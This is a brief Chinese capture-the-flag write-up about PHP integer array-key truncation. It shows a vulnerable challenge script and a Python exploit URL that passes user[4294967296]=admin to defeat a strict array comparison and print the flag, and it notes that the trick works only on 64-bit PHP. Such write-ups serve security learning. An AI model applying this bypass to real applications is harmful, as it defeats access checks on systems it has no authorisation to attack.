0%

PHP整数键截断问题

<?php
include("flag.php");

if(empty($_GET['user'])) die(show_source(__FILE__));
$a= strval(time());
$user = ['admin',$a];
if($_GET['user'] === $user &&$_GET['user'][0]!='admin'){
    echo $flag;
}
?>

我们直接看漏洞详情,这样比较会直接相等:

var_dump([0 => 0] === [0x100000000 => 0]);

测试发现将0x10000000转换为10进制: 4294967296 ,逻辑依然成立。

上题直接构造exp:

import requests
import time

url ="http://xxxxxx.xx/?user[4294967296]=admin&user[1]="+str(int(time.time()))
result = requests.get(url)
print(url)
print(result.text)

需要注意的是,这个问题只能在64位PHP中复现成功,在32位中会将传入的4294967296解析为字符串导致匹配错误。